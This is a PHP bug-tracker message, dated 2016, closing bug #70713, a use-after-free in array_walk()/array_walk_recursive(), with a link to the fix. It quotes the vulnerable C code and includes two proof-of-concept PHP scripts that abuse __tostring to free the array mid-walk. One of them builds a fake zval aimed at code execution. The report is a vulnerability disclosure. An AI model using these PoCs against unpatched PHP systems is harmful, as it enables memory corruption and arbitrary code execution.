Bug #70713 [Opn->Csd]: Use After Free Vulnerability in array_walk()/array_walk_recursive()

From: Date: Fri, 29 Jul 2016 22:21:43 +0000
Subject: Bug #70713 [Opn->Csd]: Use After Free Vulnerability in array_walk()/array_walk_recursive()
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-202710@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=70713&edit=1 ID: 70713 Updated by: nikic@php.net Reported by: taoguangchen at icloud dot com Summary: Use After Free Vulnerability in array_walk()/array_walk_recursive() -Status: Open +Status: Closed Type: Bug Package: *General Issues Operating System: * PHP Version: Irrelevant -Assigned To: +Assigned To: nikic Block user comment: N Private report: N New Comment: Fixed as part of https://github.com/php/php-src/commit/11e050920d3052d2b14a9cff6c4c5764d674fc46. Previous Comments: ------------------------------------------------------------------------ [2015-10-14 16:39:21] taoguangchen at icloud dot com Description: ------------ Use After Free Vulnerability in array_walk()/array_walk_recursive() ``` static int php_array_walk(HashTable *target_hash, zval *userdata, int recursive TSRMLS_DC) /* {{{ */ { ... BG(array_walk_fci).retval_ptr_ptr = &retval_ptr; BG(array_walk_fci).param_count = userdata ? 3 : 2; BG(array_walk_fci).params = args; BG(array_walk_fci).no_separation = 0; /* Iterate through hash */ zend_hash_internal_pointer_reset(target_hash); while (!EG(exception) && zend_hash_get_current_data(target_hash, (void **)&args[0]) == SUCCESS) { ... if (zend_call_function(&BG(array_walk_fci), &BG(array_walk_fci_cache) TSRMLS_CC) == SUCCESS) { ... PHP_FUNCTION(array_walk) { ... if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Hf|z/", &array, &BG(array_walk_fci), &BG(array_walk_fci_cache), &userdata) == FAILURE) { BG(array_walk_fci) = orig_array_walk_fci; BG(array_walk_fci_cache) = orig_array_walk_fci_cache; return; } php_array_walk(array, userdata, 0 TSRMLS_CC); ``` the array_walk()/array_walk_recursive()'s callback function to a object-type ZVAL is able to call to the object's magic methods, this means an attacker will be able to changes the original array and its elements. this should result in use-after-free attack and arbitrary code execution. PoC1 ``` class obj { function __tostring() { global $arr, $zval; $arr = 1; $zval = ptr2str(2); $zval .= ptr2str(0x1122334455); $zval .= "\x00\x00\x00\x00"; $zval .= "\x05"; $zval .= "\x00"; $zval .= "\x00\x00"; return 'hi'; } } $arr = array('string' => new obj, 1); array_walk_recursive($arr, 'settype'); ``` PoC2 ``` class obj { function __tostring() { global $arr; $arr = 1; for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } return 'hi'; } } $arr = array('string' => new obj); array_walk_recursive($arr, 'settype'); ``` ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=70713&edit=1

« previous php.bugs (#202710) next »